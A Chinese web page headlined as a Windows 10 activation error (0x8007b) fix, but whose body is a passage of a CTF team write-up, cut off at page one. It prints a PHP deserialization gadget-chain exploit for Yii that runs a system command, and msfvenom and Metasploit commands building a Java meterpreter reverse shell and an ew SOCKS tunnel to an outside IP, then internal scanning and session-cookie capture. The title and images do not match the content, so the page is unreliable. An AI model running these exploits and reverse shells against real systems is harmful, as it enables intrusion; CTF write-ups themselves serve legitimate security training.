windows10提示0x8007b激活错误,win10激活0x8007b怎么解决

首页 > 数码 > 作者:YD1662024-05-22 06:07:33

bad_cat战队WRITEUP一、 战队信息

战队名称:bad_cat

战队排名:6

二、 解题情况三、 解题过程web1、**ezyii**

网上搜yii的1day

https://xz.aliyun.com/t/9948#toc-6

思路类似于第四条链子

exp:

<?php namespace Codeception\Extension{ use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct(){ $this->processes[]=new DefaultGenerator(new AppendStream()); $this->output=new DefaultGenerator('jiang'); } } echo base64_encode(serialize(new RunProcess())); } namespace Faker{ class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace GuzzleHttp\Psr7{ use Faker\DefaultGenerator; final class AppendStream{ private $streams = []; private $seekable = true; public function __construct(){ $this->streams[]=new CachingStream(); } } final class CachingStream{ private $remoteStream; public function __construct(){ $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } } final class PumpStream{ private $source; private $size=-10; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('j'); include("closure/autoload.php"); $a = function(){system('cat /flag.txt');}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->source=$b; } } }

然后post就行

flag{19fefeeb-989a-4017-8001-7af62b9e511b}

2、**层层穿透**

直接传jar可以反弹shell进内网入口

参考 https://blog.csdn.net/cainiao17441898/article/details/118877408

msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar

use exploit/multi/handler

set PAYLOAD java/meterpreter/reverse_tcp

set lhost 82.157.25.143

set lport 11112

run -j

先监听后上传,就不会报500的错误了

此时再去submit

sessions

sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下

msf的upload shell执行

./ew -s rssocks -d 82.157.25.143 -e 18888

windows10提示0x8007b激活错误,win10激活0x8007b怎么解决(1)

windows10提示0x8007b激活错误,win10激活0x8007b怎么解决(2)

扫描c段,看10.10.1.11:8080

post登陆

windows10提示0x8007b激活错误,win10激活0x8007b怎么解决(3)

抓个包拿session

Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

源码解压看pom.xml依赖

windows10提示0x8007b激活错误,win10激活0x8007b怎么解决(4)

首页 12345下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.